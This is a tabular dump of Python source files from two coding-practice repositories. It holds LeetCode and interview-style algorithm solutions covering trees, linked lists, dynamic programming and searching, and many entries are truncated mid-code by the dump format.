blob_id stringlengths 40 40 | repo_name stringlengths 5 127 | path stringlengths 2 523 | length_bytes int64 22 545k | score float64 3.5 5.34 | int_score int64 4 5 | text stringlengths 22 545k |
|---|---|---|---|---|---|---|
b15f8fb3706194e90e64f1e5b571be1cd51152a3 | MrCsabaToth/IK | /2019Nov/session3/preorder_inorder_reconstruct.py | 2,595 | 3.75 | 4 | # Leetcode 105
# Definition for a binary tree node.
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
def __str__(self):
return "{}<{}, {}>".format(self.val, self.left.val if self.left else None, self.right.val if self.right else None)
@... |
889bdb1979838f19b9137499ddaa26c8f6299e22 | MrCsabaToth/IK | /2019Nov/adhoc2/alternating_items_wip1_submission.py | 1,444 | 3.78125 | 4 | # Complete the function below.
def find_next_pos(arr, l, x):
while arr[x] < 0 and x < l - 1:
x += 1
return x
def find_next_neg(arr, l, x):
while arr[x] >= 0 and x < l - 1:
x += 1
return x
def alternating_positives_and_negatives(arr):
l = len(arr)
n = find_next_neg(arr, l, ... |
7e2a9e0a4b6600b89c634f5b325b0bb70af960ee | MrCsabaToth/IK | /2019Nov/session2/case_perm_mutable.py | 596 | 3.65625 | 4 | def case_perm_helper(string, index, slate):
if index >= len(string):
return ["".join(slate)]
char = string[index]
if not char.isalpha():
slate.append(char)
result = case_perm_helper(string, index + 1, slate)
slate.pop()
return result
slate.append(char.lower())
... |
309a54f9fb70e254603001c45d5bab6bdaa95cc7 | MrCsabaToth/IK | /2019Nov/adhoc2/alternating_items_submission1.py | 809 | 3.625 | 4 | def next_p(arr, l, x):
while x <= l - 1 and arr[x] < 0:
x += 1
return x
def next_n(arr, l, x):
while x <= l - 1 and arr[x] >= 0:
x += 1
return x
def alternating_positives_and_negatives(arr):
l = len(arr)
n = next_n(arr, l, 0)
p = next_p(arr, l, 0)
res = []
i = 0... |
e29c8298f18de996adb8f7561d53b1e1f7d06f22 | MrCsabaToth/IK | /2019Nov/session3/path_sum_binary.py | 1,604 | 3.96875 | 4 | # Leetcode 112
# Definition for a binary tree node.
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
def __str__(self):
return "{}<{}, {}>".format(self.val, self.left.val if self.left else None, self.right.val if self.right else None)
@... |
3fb97a1b5cb339b80bf60f0c81f1c0a4e529b8c6 | MrCsabaToth/IK | /2019Nov/sorting2/nearest_neightbor_heapq.py | 635 | 3.578125 | 4 | # Complete the 'nearest_neighbours' function below.
# The function accepts integer p_x, p_y, k and a 2D integer array n_points as parameter.
import heapq
class Pt(object):
def __init__(self, x, y, p_x, p_y):
self.x = x
self.y = y
self.ds = (p_x - x) * (p_x - x) + (p_y - y) * (p_y - y)
... |
61fbb4af0dda59e842d2618ed6210c6cd62672f9 | MrCsabaToth/IK | /2019Nov/linked_lists/linked_list_middle.py | 305 | 3.671875 | 4 | #Reference:
#LinkedListNode {
# int val
# LinkedListNode next
#}
def find_middle_node(head):
if not head:
return None
node = head
mid = node
i = 0
while node.next:
if not i % 2:
mid = mid.next
node = node.next
i += 1
return mid
|
539722c112b7cd42c12bee5de3ba68186d66dd1e | MrCsabaToth/IK | /2019Nov/test4/alien_dictionery_recursive.py | 1,415 | 3.71875 | 4 | # Complete the function below.
def find_order(words):
if not words:
return []
n = len(words)
nodes = []
adj_list = []
# 1. Take each word pair
for i, word in enumerate(words):
if i >= n - 1:
break
word2 = words[i + 1]
# 2. Find first character whi... |
241e3188a642c204980025e6a5a86fc07df54fdc | MrCsabaToth/IK | /2019Nov/adhoc2/sorted_ring_min_tech_wip1.py | 1,160 | 3.59375 | 4 | def find_minimum(arr):
if not arr:
return None
n = len(arr)
max_i = n - 1
if n == 1:
return arr[0]
elif n == 2:
return min(arr[0], arr[1])
elif n == 3:
return min(arr[0], arr[1], arr[2])
elif arr[0] - arr[max_i] < 0 and arr[0] - arr[1] < 0 and arr[n - 2] - arr... |
6ca7164ba36cc6fb3e516ced6bf1489b8f95ff8e | MrCsabaToth/IK | /2019Nov/linked_lists/list_groupk_reverse_const_aux.py | 679 | 3.734375 | 4 | '''
For your reference:
class LinkedListNode:
def __init__(self, node_value):
self.val = node_value
self.next = None
'''
def reverse_linked_list_in_groups_of_k(head, k):
p = head
prev = None
new_head = None
group_end = None
prev_group_end = None
while p:
prev_group_... |
b36885abe80521795b397149f6e47af73e4fa618 | MrCsabaToth/IK | /2019Nov/practice1/three_zero_sum1.py | 911 | 3.53125 | 4 | def findZeroSum(arr):
length = len(arr)
if length < 3:
return []
elif length == 3:
if arr[0] + arr[1] + arr[2] == 0:
return [",".join([str(s) for s in arr])]
else:
return []
arr.sort()
results = []
i = 0
while i < length:
target = -arr... |
3cfbe33e458a922ad4ad972ef01ad2a2237c4899 | MrCsabaToth/IK | /2019Nov/practice5/count_ways_to_climb.py | 351 | 3.53125 | 4 | # Complete the countWaysToClimb function below.
def countWaysToClimb(steps, n):
steps = [step for step in steps if step <= n]
dp = [0] * (n + 1)
dp[0] = 1
for i in range(1, n + 1):
count = 0
for step in steps:
if i - step >= 0:
count += dp[i - step]
d... |
8b65d0f1536a55289b88f66df06fb2ef66f04ba2 | MrCsabaToth/IK | /2019Nov/practice2/nqueen_editorial_analogue.py | 1,047 | 3.546875 | 4 | QUEEN = "q"
NO_QUEEN = "-"
def find_all_arrangements(n):
result = []
diagf = [False] * (2 * n -1) # forward diagonal
diagb = [False] * (2 * n -1) # backward diagonal
col_indicator = [False] * n
def q_helper(partial_board, row):
if row == n:
solution = ["".join(x) for x in par... |
166245fab95a9d72f189aa4b69fd8655f274821a | uncleYang1989/python | /com/office/util/cloudtag2/img.py | 1,063 | 3.71875 | 4 | # -*- coding: utf-8 -*-
""""
Masked wordcloud
================
Using a mask you can generate wordclouds in arbitrary shapes.
"""
from os import path
from PIL import Image
import numpy as np
import matplotlib.pyplot as plt
from wordcloud import WordCloud, STOPWORDS
d = path.dirname(__file__)
# Read the whole text.
t... |
bfec7939c2bd7a5ce2fa3da77417cb061ed183ca | MaximUzun/geekBrains | /home_work_basic_L3/hw03_easy.py | 2,034 | 4.09375 | 4 | # Автор Узун М.В.
# Задание-1:
# Напишите функцию, округляющую полученное произвольное десятичное число
# до кол-ва знаков (кол-во знаков передается вторым аргументом).
# Округление должно происходить по математическим правилам (0.6 --> 1, 0.4 --> 0).
# Для решения задачи не используйте встроенные функции и функции из ... |
7592c0cb33989b2d07efb5fb35736f484071dbf8 | DmitryVlaznev/leetcode | /23-merge-k-sorted-lists.py | 2,039 | 4.03125 | 4 | # 23. Merge k Sorted Lists
# You are given an array of k linked-lists lists, each linked-list is
# sorted in ascending order.
# Merge all the linked-lists into one sorted linked-list and return it.
# Example 1:
# Input: lists = [[1,4,5],[1,3,4],[2,6]]
# Output: [1,1,2,3,4,4,5,6]
# Explanation: The linked-lists are:... |
d73440fa140002b1993f5d2107f30cb77ac7de7a | DmitryVlaznev/leetcode | /1275-find-winner-on-a-tic-tac-toe-game.py | 3,371 | 3.90625 | 4 | # 1275. Find Winner on a Tic Tac Toe Game
# Easy
# Tic-tac-toe is played by two players A and B on a 3 x 3 grid.
# Here are the rules of Tic-Tac-Toe:
# Players take turns placing characters into empty squares (" "). The
# first player A always places "X" characters, while the second player B
# always places "O" cha... |
d76fb042e5122e293a4a03b24c6af7b81e6169c9 | DmitryVlaznev/leetcode | /1631-path-with-minimum-effort.py | 3,355 | 4.28125 | 4 | # 1631. Path With Minimum Effort
# Medium
# You are a hiker preparing for an upcoming hike. You are given heights,
# a 2D array of size rows x columns, where heights[row][col] represents
# the height of cell (row, col). You are situated in the top-left cell,
# (0, 0), and you hope to travel to the bottom-right cell, ... |
6831dd7a78d3a70db4fd204db40699daca7d29af | DmitryVlaznev/leetcode | /410-split-array-largest-sum.py | 1,394 | 3.953125 | 4 | # 410. Split Array Largest Sum
# Hard
# Given an array nums which consists of non-negative integers and an
# integer m, you can split the array into m non-empty continuous
# subarrays.
# Write an algorithm to minimize the largest sum among these m
# subarrays.
# Example 1:
# Input: nums = [7,2,5,10,8], m = 2
# Outp... |
8144142fe174bd3573837d8a5b6e520ab71645e7 | DmitryVlaznev/leetcode | /977-squares-of-a-sorted-array.py | 1,439 | 4 | 4 | # 977. Squares of a Sorted Array
# Easy
# Given an integer array nums sorted in non-decreasing order, return an
# array of the squares of each number sorted in non-decreasing order.
# Example 1:
# Input: nums = [-4,-1,0,3,10]
# Output: [0,1,9,16,100]
# Explanation: After squaring, the array becomes [16,1,0,9,100].
... |
b19e647f33b48c744cc17e9399bec9c82b71c263 | DmitryVlaznev/leetcode | /516-longest-palindromic-subsequence.py | 1,491 | 3.734375 | 4 | # 516. Longest Palindromic Subsequence
# Medium
# Given a string s, find the longest palindromic subsequence's length in
# s.
# A subsequence is a sequence that can be derived from another sequence
# by deleting some or no elements without changing the order of the
# remaining elements.
# Example 1:
# Input: s = "b... |
60316e08e3b9226fb18d405340695bbb4771eddb | DmitryVlaznev/leetcode | /16-3sum-closest.py | 1,277 | 3.703125 | 4 | # 16. 3Sum Closest
# Medium
# Given an array nums of n integers and an integer target, find three
# integers in nums such that the sum is closest to target. Return the
# sum of the three integers. You may assume that each input would have
# exactly one solution.
# Example 1:
# Input: nums = [-1,2,1,-4], target = 1
#... |
2a4934c813349dcd3a630e5dcfd526fb2cbb6d6c | DmitryVlaznev/leetcode | /524-longest-word-in-dictionary-through-deleting.py | 1,612 | 3.90625 | 4 | # 524. Longest Word in Dictionary through Deleting
# Medium
# Given a string and a string dictionary, find the longest string in the
# dictionary that can be formed by deleting some characters of the given
# string. If there are more than one possible results, return the
# longest word with the smallest lexicographic... |
37f8e79e81badadd86a59debba9c94e698026297 | DmitryVlaznev/leetcode | /137-single-number-ii.py | 628 | 3.6875 | 4 | # 137. Single Number II
# Given a non-empty array of integers, every element appears three times
# except for one, which appears exactly once. Find that single one.
# Note:
# Your algorithm should have a linear runtime complexity. Could you
# implement it without using extra memory?
# Example 1:
# Input: [2,2,3,2]
... |
a57cd1cc624b12d73ca982d78f089b67329edcd4 | DmitryVlaznev/leetcode | /333-largest-bst-subtree.py | 2,385 | 4.0625 | 4 | # 333. Largest BST Subtree
# Medium
# Given the root of a binary tree, find the largest subtree, which is
# also a Binary Search Tree (BST), where the largest means subtree has
# the largest number of nodes.
# A Binary Search Tree (BST) is a tree in which all the nodes follow the
# below-mentioned properties:
# The... |
4bb121f9a3aab09b1097002acef05c3f3fb79c93 | DmitryVlaznev/leetcode | /1049-last-stone-weight-ii.py | 1,617 | 3.53125 | 4 | # 1049. Last Stone Weight II
# We have a collection of rocks, each rock has a positive integer
# weight.
# Each turn, we choose any two rocks and smash them together. Suppose
# the stones have weights x and y with x <= y. The result of this smash
# is:
# If x == y, both stones are totally destroyed;
# If x != y, ... |
815d72acc3afeac2390b73cc9ce434761d549567 | DmitryVlaznev/leetcode | /845-longest-mountain-in-array.py | 2,351 | 3.953125 | 4 | # 845. Longest Mountain in Array
# Medium
# Let's call any (contiguous) subarray B (of A) a mountain if the
# following properties hold:
# B.length >= 3
# There exists some 0 < i < B.length - 1 such that B[0] < B[1] < ...
# B[i-1] < B[i] > B[i+1] > ... > B[B.length - 1]
# (Note that B could be any subarray of A, inc... |
ec2accb101d629c8daf0d91cd96ee0b52656f9bd | DmitryVlaznev/leetcode | /1710-maximum-units-on-a-truck.py | 1,669 | 4.0625 | 4 | # 1710. Maximum Units on a Truck
# Easy
# You are assigned to put some amount of boxes onto one truck. You are
# given a 2D array boxTypes, where boxTypes[i] = [numberOfBoxesi,
# numberOfUnitsPerBoxi]:
# numberOfBoxesi is the number of boxes of type i.
# numberOfUnitsPerBoxi is the number of units in each box of the... |
e1c0e87efd1a50626aa2748c5e80eea5554463b7 | DmitryVlaznev/leetcode | /70-climbing-stairs.py | 1,070 | 3.75 | 4 | # 70. Climbing Stairs
# You are climbing a stair case. It takes n steps to reach to the top.
# Each time you can either climb 1 or 2 steps. In how many distinct ways
# can you climb to the top?
# Example 1:
# Input: 2
# Output: 2
# Explanation: There are two ways to climb to the top.
# 1. 1 step + 1 step
# 2. 2 step... |
6d210d6f2ab4cad68112fd06c8704b62352f5d03 | DmitryVlaznev/leetcode | /296-reverse-linked-list.py | 1,871 | 4.21875 | 4 | # 206. Reverse Linked List
# Reverse a singly linked list.
# Example:
# Input: 1->2->3->4->5->NULL
# Output: 5->4->3->2->1->NULL
# Follow up:
# A linked list can be reversed either iteratively or recursively. Could
# you implement both?
# Definition for singly-linked list.
class ListNode:
def __init__(self, x)... |
020377082a10915fae20031ccf7b0dc1d6424a3b | DmitryVlaznev/leetcode | /328-odd-even-linked-list.py | 2,474 | 4.34375 | 4 | # 328. Odd Even Linked List
# Given a singly linked list, group all odd nodes together followed by
# the even nodes. Please note here we are talking about the node number
# and not the value in the nodes.
# You should try to do it in place. The program should run in O(1) space
# complexity and O(nodes) time complexit... |
708c5e497de2205585fd1af9016220735fdd859f | DmitryVlaznev/leetcode | /906-super-palindromes.py | 1,859 | 3.875 | 4 | # 906. Super Palindromes
# Hard
# Let's say a positive integer is a super-palindrome if it is a
# palindrome, and it is also the square of a palindrome.
# Given two positive integers left and right represented as strings,
# return the number of super-palindromes integers in the inclusive range
# [left, right].
# E... |
f542f1f5c756600310e472c711f84dc787cefc2d | DmitryVlaznev/leetcode | /1329-sort-the-matrix-diagonally.py | 1,513 | 4.21875 | 4 | # 1329. Sort the Matrix Diagonally
# Medium
# A matrix diagonal is a diagonal line of cells starting from some cell
# in either the topmost row or leftmost column and going in the
# bottom-right direction until reaching the matrix's end. For example,
# the matrix diagonal starting from mat[2][0], where mat is a 6 x 3... |
bf8b8dc2d6d374079928061c6ac832c2ec6d8ff2 | DmitryVlaznev/leetcode | /1305-all-elements-in-two-binary-search-trees.py | 1,741 | 3.890625 | 4 | # 1305. All Elements in Two Binary Search Trees
# Medium
# Given two binary search trees root1 and root2, return a list
# containing all the integers from both trees sorted in ascending order.
# Example 1:
# Input: root1 = [2,1,4], root2 = [1,0,3]
# Output: [0,1,1,2,3,4]
# Example 2:
# Input: root1 = [1,null,8], r... |
d80e1a6c563e0b57ce86251af569d8bb01618012 | DmitryVlaznev/leetcode | /416-partition-equal-subset-sum.py | 1,491 | 3.8125 | 4 | # 416. Partition Equal Subset Sum
# Given a non-empty array containing only positive integers, find if the
# array can be partitioned into two subsets such that the sum of
# elements in both subsets is equal.
# Note:
# Each of the array element will not exceed 100.
# The array size will not exceed 200.
# Example 1:
... |
7bb8f95de825159a3aaf68ea1b12cce1c728945b | DmitryVlaznev/leetcode | /368-largest-divisible-subset.py | 1,601 | 3.875 | 4 | # 368. Largest Divisible Subset
# Given a set of distinct positive integers, find the largest subset
# such that every pair (Si, Sj) of elements in this subset satisfies:
# Si % Sj = 0 or Sj % Si = 0.
# If there are multiple solutions, return any subset is fine.
# Example 1:
# Input: [1,2,3]
# Output: [1,2] (of cou... |
c4d5b792263bd949ebe3b6bb5186121c8832307f | DmitryVlaznev/leetcode | /246-strobogrammatic-number.py | 1,077 | 4.15625 | 4 | # 246. Strobogrammatic Number
# Easy
# Given a string num which represents an integer, return true if num is
# a strobogrammatic number.
# A strobogrammatic number is a number that looks the same when rotated
# 180 degrees (looked at upside down).
# Example 1:
# Input: num = "69"
# Output: true
# Example 2:
# Inpu... |
41aaac904b60b3be14973435c49b52e11e94d824 | DmitryVlaznev/leetcode | /340-longest-substring-with-at-most-k-distinct-characters.py | 1,398 | 3.765625 | 4 | # 340. Longest Substring with At Most K Distinct Characters
# Medium
# Given a string s and an integer k, return the length of the longest
# substring of s that contains at most k distinct characters.
# Example 1:
# Input: s = "eceba", k = 2
# Output: 3
# Explanation: The substring is "ece" with length 3.
# Example... |
0adc5bb7f277c37dc180216b8d7569a576390970 | DmitryVlaznev/leetcode | /667-beautiful-arrangement-ii.py | 1,372 | 3.609375 | 4 | # 667. Beautiful Arrangement II
# Medium
# Given two integers n and k, you need to construct a list which
# contains n different positive integers ranging from 1 to n and obeys
# the following requirement:
# Suppose this list is [a1, a2, a3, ... , an], then the list [|a1 - a2|,
# |a2 - a3|, |a3 - a4|, ... , |an-1 - ... |
799f06b37dac938eea6c114a57e4f4e455089018 | DmitryVlaznev/leetcode | /20-valid-parentheses.py | 1,543 | 4.03125 | 4 | # 20. Valid Parentheses
# Easy
# Given a string s containing just the characters '(', ')', '{', '}',
# '[' and ']', determine if the input string is valid.
# An input string is valid if:
# Open brackets must be closed by the same type of brackets.
# Open brackets must be closed in the correct order.
# Example 1:
# I... |
2d94fb484758fb8e9d8c079a8cfa4d94fe03ebaf | DmitryVlaznev/leetcode | /702-search-in-a-sorted-array-of-unknown-size.py | 1,982 | 4.125 | 4 | # 702. Search in a Sorted Array of Unknown Size
# Given an integer array sorted in ascending order, write a function to
# search target in nums. If target exists, then return its index,
# otherwise return -1. However, the array size is unknown to you. You
# may only access the array using an ArrayReader interface, wh... |
aefd7af360fdf3d158e5be8fdf16a3deb939b6b9 | DmitryVlaznev/leetcode | /1423-maximum-points-you-can-obtain-from-cards.py | 2,553 | 4.125 | 4 | # 1423. Maximum Points You Can Obtain from Cards
# Medium
# There are several cards arranged in a row, and each card has an
# associated number of points The points are given in the integer array
# cardPoints.
# In one step, you can take one card from the beginning or from the end
# of the row. You have to take exac... |
284ec6e03f5edb54d8ba5903235f37a74a4d4b32 | DmitryVlaznev/leetcode | /902-numbers-at-most-n-given-digit-set.py | 1,719 | 4.21875 | 4 | # 902. Numbers At Most N Given Digit Set
# Hard
# Given an array of digits, you can write numbers using each digits[i]
# as many times as we want. For example, if digits = ['1','3','5'], we
# may write numbers such as '13', '551', and '1351315'.
# Return the number of positive integers that can be generated that ar... |
9335e5d16d1b3a798553edfea98ea20e640e0d37 | DmitryVlaznev/leetcode | /290-word-pattern.py | 1,484 | 4.03125 | 4 | # 290. Word Pattern
# Easy
# Given a pattern and a string s, find if s follows the same pattern.
# Here follow means a full match, such that there is a bijection between
# a letter in pattern and a non-empty word in s.
# Example 1:
# Input: pattern = "abba", s = "dog cat cat dog"
# Output: true
# Example 2:
# Inpu... |
aa350a3b28ad670e494ba35e8865ad519ecb1f14 | DmitryVlaznev/leetcode | /701-insert-into-a-binary-search-tree.py | 2,224 | 4.1875 | 4 | # Insert into a Binary Search Tree
# You are given the root node of a binary search tree (BST) and a value
# to insert into the tree. Return the root node of the BST after the
# insertion. It is guaranteed that the new value does not exist in the
# original BST.
# Notice that there may exist multiple valid ways for t... |
6cb1f7a34c8b4244394c5f3eddf366bb0be09c3c | DmitryVlaznev/leetcode | /338-counting-bits.py | 1,444 | 3.75 | 4 | # 338. Counting Bits
# Given a non negative integer number num. For every numbers i in the
# range 0 ≤ i ≤ num calculate the number of 1's in their binary
# representation and return them as an array.
# Example 1:
# Input: 2
# Output: [0,1,1]
# Example 2:
# Input: 5
# Output: [0,1,1,2,1,2]
# Follow up:
# It is ver... |
4902fa9b02f0d01a06de2444df75d45b445a1ccb | DmitryVlaznev/leetcode | /19-remove-nth-node-from-end-of-list.py | 962 | 3.84375 | 4 | # 19. Remove Nth Node From End of List
# Medium
# Given the head of a linked list, remove the nth node from the end of
# the list and return its head.
# Follow up: Could you do this in one pass?
# Example 1:
# Input: head = [1,2,3,4,5], n = 2
# Output: [1,2,3,5]
# Example 2:
# Input: head = [1], n = 1
# Output: []... |
9d177c8d0b21539a53f7334ab0027f8fefc0bee6 | DmitryVlaznev/leetcode | /1642-furthest-building-you-can-reach.py | 2,546 | 4.0625 | 4 | # 1642. Furthest Building You Can Reach
# Medium
# You are given an integer array heights representing the heights of
# buildings, some bricks, and some ladders.
# You start your journey from building 0 and move to the next building
# by possibly using bricks or ladders.
# While moving from building i to building i... |
967040a61bb48058e7162dd840c6d1521876b3fe | DmitryVlaznev/leetcode | /90-subsets-ii.py | 1,076 | 3.703125 | 4 | # 90. Subsets II
# Medium
# Given an integer array nums that may contain duplicates, return all
# possible subsets (the power set).
# The solution set must not contain duplicate subsets. Return the
# solution in any order.
# Example 1:
# Input: nums = [1,2,2]
# Output: [[],[1],[1,2],[1,2,2],[2],[2,2]]
# Example 2:... |
840cf400c87da0ac34056963800f104df26490b9 | DmitryVlaznev/leetcode | /mock2.py | 1,805 | 4.0625 | 4 | # You are asked to cut off all the trees in a forest for a golf event.
# The forest is represented as an m x n matrix. In this matrix:
# 0 means the cell cannot be walked through.
# 1 represents an empty cell that can be walked through.
# A number greater than 1 represents a tree in a cell that can be walked
# throug... |
b4ef5fd2e301cb501f6a8f098b0795d3c8a20dbf | DmitryVlaznev/leetcode | /1448-count-good-nodes-in-binary-tree.py | 1,439 | 3.859375 | 4 | # 1448. Count Good Nodes in Binary Tree
# Medium
# Given a binary tree root, a node X in the tree is named good if in the
# path from root to X there are no nodes with a value greater than X.
# Return the number of good nodes in the binary tree.
# Example 1:
# Input: root = [3,1,4,3,null,1,5]
# Output: 4
# Explanat... |
bf24e8592619e15bc63f62581bf987a200f555af | DmitryVlaznev/leetcode | /234-palindrome-linked-list.py | 1,516 | 3.859375 | 4 | # 234. Palindrome Linked List
# Easy
# Given the head of a singly linked list, return true if it is a
# palindrome.
# Example 1:
# Input: head = [1,2,2,1]
# Output: true
# Example 2:
# Input: head = [1,2]
# Output: false
# Constraints:
# The number of nodes in the list is in the range [1, 10^5].
# 0 <= Node.val <... |
8481a71d37a79f5d25c8bfde69a9cc4495e5071f | DmitryVlaznev/leetcode | /630-course-schedule-iii.py | 2,379 | 3.796875 | 4 | # 630. Course Schedule III
# Hard
# There are n different online courses numbered from 1 to n. You are
# given an array courses where courses[i] = [durationi, lastDayi]
# indicate that the ith course should be taken continuously for
# durationi days and must be finished before or on lastDayi.
# You will start on the... |
0027dd1e6a3406dde370e14628cfe74a22818865 | DmitryVlaznev/leetcode | /174-dungeon-game.py | 2,656 | 4.09375 | 4 | # 174. Dungeon Game
# The demons had captured the princess (P) and imprisoned her in the
# bottom-right corner of a dungeon. The dungeon consists of M x N rooms
# laid out in a 2D grid. Our valiant knight (K) was initially positioned
# in the top-left room and must fight his way through the dungeon to
# rescue the pri... |
71ae6d63f23028fba4f7d914f1daa9b0e133497c | DmitryVlaznev/leetcode | /364-nested-list-weight-sum-ii.py | 3,292 | 4.34375 | 4 | # 364. Nested List Weight Sum II
# Medium
# You are given a nested list of integers nestedList. Each element is
# either an integer or a list whose elements may also be integers or
# other lists.
# The depth of an integer is the number of lists that it is inside of.
# For example, the nested list [1,[2,2],[[3],2],1]... |
2597d295ac24643a1618df8e63c62224f343a01d | DmitryVlaznev/leetcode | /8-string-to-integer-atoi.py | 5,429 | 4 | 4 | # 8. String to Integer (atoi)
# Medium
# Implement the myAtoi(string s) function, which converts a string to a
# 32-bit signed integer (similar to C/C++'s atoi function).
# The algorithm for myAtoi(string s) is as follows:
# Read in and ignore any leading whitespace.
# Check if the next character (if not already at... |
d0b0baf1c0ca3ff1d9e9d2c57707e54d8a7d805f | DmitryVlaznev/leetcode | /1492-the-kth-factor-of-n.py | 1,757 | 3.703125 | 4 | # 1492. The kth Factor of n
# Medium
# Given two positive integers n and k.
# A factor of an integer n is defined as an integer i where n % i == 0.
# Consider a list of all factors of n sorted in ascending order, return
# the kth factor in this list or return -1 if n has less than k factors.
# Example 1:
# Input: ... |
0e62e831819f55041a4f07c7312c8d885dfa9d9d | DmitryVlaznev/leetcode | /215-kth-largest-element-in-an-array.py | 2,624 | 3.96875 | 4 | # 215. Kth Largest Element in an Array
# Find the kth largest element in an unsorted array. Note that it is the
# kth largest element in the sorted order, not the kth distinct element.
# Example 1:
# Input: [3,2,1,5,6,4] and k = 2
# Output: 5
# Example 2:
# Input: [3,2,3,1,2,4,5,5,6] and k = 4
# Output: 4
# Note:
#... |
5dd163c0ebe369eead28c07b676471a14aecdcbf | DmitryVlaznev/leetcode | /869-reordered-power-of-2.py | 1,097 | 3.84375 | 4 | # 869. Reordered Power of 2
# Medium
# Starting with a positive integer N, we reorder the digits in any order
# (including the original order) such that the leading digit is not
# zero.
# Return true if and only if we can do this in a way such that the
# resulting number is a power of 2.
# Example 1:
# Input: 1
# O... |
01ac37bce9704cf61fa6d4a3a002e1ca71763ffb | DmitryVlaznev/leetcode | /127-word-ladder.py | 3,613 | 3.734375 | 4 | # 127. Word Ladder
# Hard
# Given two words beginWord and endWord, and a dictionary wordList,
# return the length of the shortest transformation sequence from
# beginWord to endWord, such that:
# Only one letter can be changed at a time.
# Each transformed word must exist in the word list.
# Return 0 if there is no ... |
e5c2c31ac37cf5073d430b1a10d21bab9651b791 | DmitryVlaznev/leetcode | /13-roman-to-integer.py | 2,618 | 4.03125 | 4 | # 13. Roman to Integer
# Easy
# Roman numerals are represented by seven different symbols: I, V, X, L,
# C, D and M.
# Symbol Value
# I 1
# V 5
# X 10
# L 50
# C 100
# D 500
# M 1000
# For example, 2 is written as II in Roman ... |
e431f7a5084158bf0b839fda9aaf58d63e28c5f0 | DmitryVlaznev/leetcode | /314.-binary-tree-vertical-order-traversal.py | 1,468 | 3.890625 | 4 | # 314. Binary Tree Vertical Order Traversal
# Medium
# Given the root of a binary tree, return the vertical order traversal
# of its nodes' values. (i.e., from top to bottom, column by column).
# If two nodes are in the same row and column, the order should be from
# left to right.
# Example 1:
# Input: root = [3,9,... |
665b37f3e85a2bdffac567069351cfb071b1322e | DmitryVlaznev/leetcode | /970-powerful-integers.py | 1,683 | 4.15625 | 4 | # 970. Powerful Integers
# Medium
# Given three integers x, y, and bound, return a list of all the
# powerful integers that have a value less than or equal to bound.
# An integer is powerful if it can be represented as x^i + y^j for some
# integers i >= 0 and j >= 0.
# You may return the answer in any order. In you... |
c3d8022e2fc169d7ca012b3809649d4925de4ade | DmitryVlaznev/leetcode | /91-decode-ways.py | 2,972 | 3.875 | 4 | # Decode Ways
# Medium
# A message containing letters from A-Z is being encoded to numbers
# using the following mapping:
# 'A' -> 1
# 'B' -> 2
# ...
# 'Z' -> 26
# Given a non-empty string containing only digits, determine the total
# number of ways to decode it.
# The answer is guaranteed to fit in a 32-bit integ... |
fc2d92ff3b1563a54a1538d71a0c3d5e6b3b04fc | DmitryVlaznev/leetcode | /323-number-of-connected-components-in-an-undirected-graph.py | 1,169 | 3.828125 | 4 | # 323. Number of Connected Components in an Undirected Graph
# Medium
# You have a graph of n nodes. You are given an integer n and an array
# edges where edges[i] = [ai, bi] indicates that there is an edge
# between ai and bi in the graph.
# Return the number of connected components in the graph.
# Example 1:
# In... |
091a44ea80baf4cf322f81cdd66a2f5b60e2057b | DmitryVlaznev/leetcode | /675-cut-off-trees-for-golf-event.py | 3,332 | 3.828125 | 4 | # 675. Cut Off Trees for Golf Event
# Hard
# You are asked to cut off all the trees in a forest for a golf event.
# The forest is represented as an m x n matrix. In this matrix:
# 0 means the cell cannot be walked through.
# 1 represents an empty cell that can be walked through.
# A number greater than 1 represents... |
88cf315ea9e2c3dd6d25e9ce9e1245680b1a3f28 | DmitryVlaznev/leetcode | /28-implement-strstr.py | 3,616 | 4.03125 | 4 | # 28. Implement strStr()
# Easy
# Return the index of the first occurrence of needle in haystack, or -1
# if needle is not part of haystack.
# Clarification:
# What should we return when needle is an empty string? This is a great
# question to ask during an interview.
# For the purpose of this problem, we will retur... |
3178b59b2e13b399957582716ffe563fec11c533 | DmitryVlaznev/leetcode | /703-kth-largest-element-in-a-stream.py | 3,596 | 3.875 | 4 | # 703. Kth Largest Element in a Stream
# Design a class to find the kth largest element in a stream. Note that
# it is the kth largest element in the sorted order, not the kth
# distinct element.
# Your KthLargest class will have a constructor which accepts an integer
# k and an integer array nums, which contains ini... |
d7bfd1420386afdc837017079f2cb5ed1d02c660 | DmitryVlaznev/leetcode | /417-pacific-atlantic-water-flow.py | 2,894 | 3.8125 | 4 | # 417. Pacific Atlantic Water Flow
# Medium
# Given an m x n matrix of non-negative integers representing the height
# of each unit cell in a continent, the "Pacific ocean" touches the left
# and top edges of the matrix and the "Atlantic ocean" touches the right
# and bottom edges.
# Water can only flow in four dire... |
5622ec03fe61997b0f0e7ea3982ffa19fb90be45 | DmitryVlaznev/leetcode | /11-container-with-most-water.py | 1,534 | 3.921875 | 4 | # 11. Container With Most Water
# Medium
# Given n non-negative integers a1, a2, ..., an , where each represents
# a point at coordinate (i, ai). n vertical lines are drawn such that
# the two endpoints of the line i is at (i, ai) and (i, 0). Find two
# lines, which, together with the x-axis forms a container, such t... |
b6dd0ede6b62f4cb4d4f53f1256d646eb1edb893 | DmitryVlaznev/leetcode | /298-binary-tree-longest-consecutive-sequence.py | 1,375 | 3.953125 | 4 | # 298. Binary Tree Longest Consecutive Sequence
# Medium
# Given the root of a binary tree, return the length of the longest
# consecutive sequence path.
# The path refers to any sequence of nodes from some starting node to
# any node in the tree along the parent-child connections. The longest
# consecutive path nee... |
ae0c9741e990640b3f9ba80ee1554594d9675e16 | DmitryVlaznev/leetcode | /80-remove-duplicates-from-sorted-array-ii.py | 2,564 | 3.984375 | 4 | # 80. Remove Duplicates from Sorted Array II
# Medium
# Given a sorted array nums, remove the duplicates in-place such that
# duplicates appeared at most twice and return the new length.
# Do not allocate extra space for another array; you must do this by
# modifying the input array in-place with O(1) extra memory.
... |
8eb9bca224b9e0da26a721fbf70623561d6da74e | DmitryVlaznev/leetcode | /240-search-a-2d-matrix-ii.py | 3,139 | 4.0625 | 4 | # 240. Search a 2D Matrix II
# Medium
# Write an efficient algorithm that searches for a target value in an m
# x n integer matrix. The matrix has the following properties:
# Integers in each row are sorted in ascending from left to right.
# Integers in each column are sorted in ascending from top to bottom.
# Exa... |
5cae45962feb73fcddd05f17e7450c44f5acea1d | DmitryVlaznev/leetcode | /227-basic-calculator-ii.py | 2,296 | 3.984375 | 4 | # 227. Basic Calculator II
# Medium
# Implement a basic calculator to evaluate a simple expression string.
